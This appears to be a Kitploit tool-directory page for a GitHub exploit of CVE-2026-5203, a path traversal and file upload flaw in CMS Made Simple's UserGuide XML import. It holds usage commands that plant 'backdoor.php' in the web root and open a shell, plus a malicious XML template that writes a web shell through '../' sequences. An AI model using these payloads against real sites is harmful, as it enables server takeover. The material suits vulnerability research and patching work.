Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-5203 | Kitploit
Tools/GitHubGitHub/caginkyr/cve-2026-5203
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHubcaginkyr/cve-2026-5203

CVE-2026-5203

View Repository
3 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-5203 — CMS Made Simple ≤ 2.2.22 RCE (Path Traversal + Arbitrary File Upload)

CVSS Version Type

Summary

The UserGuide module's XML import functionality in CMS Made Simple ≤ 2.2.22 fails to sanitize user-supplied filenames, allowing an authenticated administrator to upload arbitrary files (e.g. PHP web shells) anywhere on the server filesystem via path traversal sequences.

FieldValue
TypePath Traversal / Arbitrary File Upload → RCE
ComponentUserGuide Module — XML Import
Affected Filemodules/UserGuide/lib/class.UserGuideImporterExporter.php
CVSS v3.17.2 HIGH — CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
Auth RequiredYes (Administrator)

Vulnerable Code

root@kitploit:~
// modules/UserGuide/lib/class.UserGuideImporterExporter.php (~L250-280)
$filename = (string) $xmlFile->filename;
$isdir    = (string) $xmlFile->isdir;   

The function writes Base64-decoded content directly to the attacker-controlled path.


Usage

root@kitploit:~
python exploit.py <base_url> <admin_url> <username> <password> [upload_path]

Examples:

root@kitploit:~
# Default path
python exploit.py http://target.com http://target.com/admin admin password123

# Custom upload path
python exploit.py http://target.com http://target.com/admin admin password123 \
  ../../../../../../var/www/html/backdoor.php

Interactive shell starts automatically if the web shell is reachable after upload.


Malicious XML Structure

root@kitploit:~
<?xml version="1.0" encoding="UTF-8"?>
<modulecontent>
  <module>UserGuide</module>
  <version>1.3</version>
  <files>
    <file>
      <filename>../../../webshell.php</filename>
      <isdir>0</isdir>
      <data>[BASE64_ENCODED_PHP_CODE]</data>
    </file>
  </files>
</modulecontent>

Download Tool